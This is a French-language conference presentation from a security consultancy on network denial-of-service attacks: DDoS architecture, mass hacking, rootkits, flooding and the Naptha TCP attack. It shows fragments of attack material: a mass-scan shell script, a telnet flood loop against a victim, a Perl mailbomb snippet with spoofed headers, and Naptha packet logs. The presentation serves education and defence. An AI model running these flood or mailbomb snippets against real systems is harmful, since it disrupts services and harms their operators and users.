Stéphane Aubert
Hervé Schauer Consultants
<http://www.hsc.fr/>
Sommaire
1. Résumé
La présentation que nous proposons a pour thème les dénis de services réseau. Ces derniers sont un type d'attaque via les réseaux, principalement IP dans notre exposé, qui visent à perturber ou bloquer un service distant. Ce service peut être le fonctionnement d'un ordinateur, d'un réseau, d'un serveur Web, DNS, de messagerie, etc.
Après un historique des dénis de services depuis 1992, nous nous proposons de présenter les attaques plus récentes comme les dénis de services répartis (DDOS). Ces DDOS sont des attaques depuis plusieurs sites. Ces sites sont généralement des machines connectées à Internet et piratées en masse par des scripts plus ou moins automatiques.
Ceci nous amènera à présenter les techniques de piratages de masse et à fournir des exemples concrets de logiciels, souvent nommés rootkit, installés sur les machines piratées que ce soit pour pouvoir contrôler à distance ces machines ou pour en attaquer d'autres par des attaques de type inondation de paquets.
Enfin, notre exposé portera sur les dernières attaques découvertes
contre le protocole TCP en expliquant les différents problèmes qui
permettent de bloquer un service TCP à distance, les programmes et les
tests réalisés par notre cabinet. Nous terminerons en proposant des
éléments de réponse contre ces attaques et en fournissant des pistes
sur des travaux futurs qui permettrons de mieux lutter contre les
dénis de service réseau.
2. Introduction
Définitions (Petit Larousse 2000) :
3. Historique
4. DDOS (Distributed Denial of Service)
+--------+ +--------+
| client | | client |
+--------+ +--------+
| |
--+------+-------------+--------+---------+--
| | |
| | |
+-----------+ +-----------+ +-----------+
| handler | | handler | | handler |
+-----------+ +-----------+ +-----------+
| | |
| | |
---+------+-----+------------+---+--------+-------+----+--
| | | | |
| | | | |
+-------+ +-------+ +-------+ +-------+ +-------+
| agent | | agent | | agent | | agent | | agent |
+-------+ +-------+ +-------+ +-------+ +-------+
\\\ /// \\ //// \\\\ ///
\\\ /// \\ //// \\\\ ///
+-----------+ +-----------+ +-----------+
| broadcast | | broadcast | | broadcast |
+-----------+ +-----------+ +-----------+
\\\ |||| ///
\\\ vvvv ///
\\\ +--------+ ///
--> | Victim |<----
+--------+
DDOS
Trinoo
Attaques
Attaques
Attaques
Attaques
Attaques
Attaques
5. Script de masse (Mass-Hack)
#!/bin/sh
echo "scanning
$1 for open boxes"
./z0ne $1 >$1.hosts
echo "done whoring
hosts.. running strobe"
./strobe -i
$1.hosts -p 111 -n 900 -o $1.temp
echo "second
pass complete now running em through mountd scanner"
./i.pl $1.temp
echo "alldone"
Attaque massive (exemple)
Attaque massive (exemple)
Les rootkits
-rw-r--r--
1 root ftp 27 Feb 26 04:01 /usr/src/.puta/.1addr
-rw-r--r--
1 root ftp 72 Feb 26 04:01 /usr/src/.puta/.1file
-rw-r--r--
1 root ftp 21 Feb 26 04:01 /usr/src/.puta/.1logz
-rw-r--r--
1 root ftp 38 Feb 26 04:01 /usr/src/.puta/.1proc
-rwxr-xr-x
1 root root 6948 Aug 23 2000 /usr/src/.puta/t0rns
-rwxr-xr-x
1 root root 7578 Aug 21 2000 /usr/src/.puta/t0rnp
-rwxr-xr-x
1 root root 1345 Sep 9 1999 /usr/src/.puta/t0rnsb
-rw-r--r--
1 root ftp 609461 Feb 27 18:31 /usr/src/.puta/system
-rw-r--r--
1 root bin 2125 Feb 25 23:11 /usr/src/.puta/bc.c
drwxrwxr-x
2 1000 1000 4096 Feb 27 13:30 /usr/src/.puta/grabbb
-rw-r--r--
1 root bin 6379 Dec 31 1999 /usr/src/.puta/grabbb-0.1.0.tar.gz
drwx------
3 1001 1001 4096 Feb 27 00:06 /usr/src/.puta/nmap-1.49
-rw-r--r--
1 root bin 219155 Aug 16 1999 /usr/src/.puta/nmap.1.49.tar.gz
-rwxr-xr-x
1 root bin 22850 Feb 26 23:35 /usr/src/.puta/smurf5
-rw-r--r--
1 root ftp 499 Feb 26 04:01 /usr/info/.t0rn/shdcf
-rwxr-xr-x
1 root root 524 Mar 13 2000 /usr/info/.t0rn/shhk
-rwxr-xr-x
1 root root 328 Mar 13 2000 /usr/info/.t0rn/shhk.pub
-rwxr-xr-x
1 root root 512 Mar 1 10:15 /usr/info/.t0rn/shrs
xxx.yyy.zzz.ttt:21:
220 XXXXXXX FTP server (Version wu-2.6.0(1)
xxx.yyy.zzz.ttt:21:
220 XXXXXXX Microsoft FTP Service (Version 4.0).
xxx.yyy.zzz.ttt:21:
220 XXXXXXX FTP server (Version wu-2.5.0(1)
6. Le "flooding"
while : ; do
telnet
<victim> &
done
@sub2
= ("","Information","Info","Hello","Hi","Hiya","Yo","Registration",
"Registering","Order","Ordering","Oi","Idea","Idea!","ISP","Internet
Access",
"Payment","Credit-Card","admin","Winning","Winnings","Compo","Competiton",
"Howdy","Stuff","Fault","Faulty
Order","Root","Hacking","Internet Abuse",
"Mail
Servers","Mailbombing....","Mailbomb","Help!","I'm Stuck","Computer Games",
"Free
Computer Games","Free Internet Access","0800","France","Holiday","French",
...
$rep
= $re[rand(@re)]; $subj1 = $sub1[rand(@sub1)];
$subj2
= $sub2[rand(@sub2)];
$subject = $rep . $subj1 . $subj2;
$smtp
-> mail($ENV{USER});
$smtp
-> to ($to);
$smtp
-> data();
$smtp
-> datasend("From: $from2 ($from)\n");
$smtp
-> datasend("Reply-To: $from2\n");
$smtp
-> datasend("To: $to (Mailing List Entry\: $key)\n");
$smtp
-> datasend("Subject: $subject\n");
$smtp
-> datasend("Date: Wed, 1 Jan 2039 00:00:01 -0000\n");
+---------+
| agent |
+---------+
ICMP | |
from: victime | |
to: broadcast | | +---------+
| | +-------------->| victime |
| | | N fois +---------+
+---------+
| routeur |
+---------+
| | |
v | ^
+------+--|---------+-------------------+
| | | |
| +------+------------+------------+ |
| | | | | |
+-----------+ +-----------+ +-----------+
| machine | | machine | | machine |
+-----------+ +-----------+ +-----------+
Flooding (exemples d'outils)
7. Dernières attaques contre TCP
RFC 793 - TCP Connection State Diagram - Figure 6.
+---------+ ---------\ active OPEN
| CLOSED | \ -----------
+---------+<---------\ \ create TCB
| ^ \ \ snd SYN
passive OPEN | | CLOSE \ \
------------ | | ---------- \ \
create TCB | | delete TCB \ \
V | \ \
+---------+ CLOSE | \
| LISTEN | ---------- | |
+---------+ delete TCB | |
rcv SYN | | SEND | |
----------- | | ------- | V
+---------+ snd SYN,ACK / \ snd SYN +---------+
| |<----------------- ------------------>| |
| SYN | rcv SYN | SYN |
| RCVD |<-----------------------------------------------| SENT |
| | snd ACK | |
| |------------------ -------------------| |
+---------+ rcv ACK of SYN \ / rcv SYN,ACK +---------+
| -------------- | | -----------
| x | | snd ACK
| V V
| CLOSE +---------+
| ------- | ESTAB |
| snd FIN +---------+
| CLOSE | | rcv FIN
V ------- | | -------
+---------+ snd FIN / \ snd ACK +---------+
| FIN |<----------------- ------------------>| CLOSE |
| WAIT-1 |------------------ | WAIT |
+---------+ rcv FIN \ +---------+
| rcv ACK of FIN ------- | CLOSE |
| -------------- snd ACK | ------- |
V x V snd FIN V
+---------+ +---------+ +---------+
|FINWAIT-2| | CLOSING | | LAST-ACK|
+---------+ +---------+ +---------+
| rcv ACK of FIN | rcv ACK of FIN |
| rcv FIN -------------- | Timeout=2MSL -------------- |
| ------- x V ------------ x V
\ snd ACK +---------+delete TCB +---------+
------------------------>|TIME WAIT|------------------>| CLOSED |
+---------+ +---------+
Normal :
Client ------[ SYN ]-----> Serveur
Client <---[ SYN|ACK ]---- Serveur
Client ------[ ACK ]-----> Serveur
Naptha :
Client ------[ SYN ]-----> Serveur
Client <---[ SYN|ACK ]---- Serveur
Client ----[ FIN|ACK ]---> Serveur
Client --------[ SYN ]-------> Victime
Client <-----[ SYN|ACK ]------
Victime
Client ------[ FIN|ACK ]-----> Victime
==
target: groar [192.70.106.66]
==
interface: ep0
==
local ip: 192.70.106.82
08:42:02.270273
[SA] 192.70.106.66:80 -> 192.70.106.82:42317 ==> Ack + Fin|Ack
08:42:02.270337
[SA] 192.70.106.66:80 -> 192.70.106.82:63231 ==> Fin|Ack
08:42:02.270399
[SA] 192.70.106.66:80 -> 192.70.106.82:44523 ==> Ack + Fin|Ack
08:42:02.270459
[SA] 192.70.106.66:80 -> 192.70.106.82:16845 ==> Fin|Ack
08:42:02.270522
[SA] 192.70.106.66:80 -> 192.70.106.82:5208 ==> Ack + Fin|Ack
08:42:02.270597
[SA] 192.70.106.66:80 -> 192.70.106.82:23311 ==> Fin|Ack
08:42:02.270658
[SA] 192.70.106.66:80 -> 192.70.106.82:4306 ==> Ack + Fin|Ack
Ou encore :
09:06:12.700343
[SA] 192.70.106.66:80 -> 192.70.106.82:26231 ==> Ack
09:06:12.710345
[SA] 192.70.106.66:80 -> 192.70.106.82:37729 ==> Ack
09:06:12.720341
[SA] 192.70.106.66:80 -> 192.70.106.82:1983 ==> Ack
09:06:12.730342
[SA] 192.70.106.66:80 -> 192.70.106.82:35187 ==> Ack
09:06:12.740337
[SA] 192.70.106.66:80 -> 192.70.106.82:49277 ==> Ack
09:06:12.750346
[SA] 192.70.106.66:80 -> 192.70.106.82:33695 ==> Ack
A partir de là, rien ne va plus :
Tue Mar 20 11:49:19 CET 2001
18401 129
Tue Mar 20 11:49:33 CET 2001
18401 129
# ssh ducamp@itesec
socket: No buffer space available
socket: No buffer space available
socket: No buffer space available
socket: No buffer space available
Secure connection to itesec refused.
Ca ne va toujours pas :
Tue Mar 20 11:55:50 CET 2001
18401 129
Tue Mar 20 11:56:05 CET 2001
18401 43
Le début de la libération :
Tue Mar 20 12:04:15 CET 2001
18401
Tue Mar 20 12:04:29 CET 2001
18189
Pour tout libérer, c'est long ...
Tue Mar 20 12:10:22 CET 2001
4151
Tue Mar 20 12:10:23 CET 2001
4105
Enfin :)
Tue Mar 20 12:12:29 CET 2001
13
Tue Mar 20 12:12:29 CET 2001
8. Quelques éléments de réponse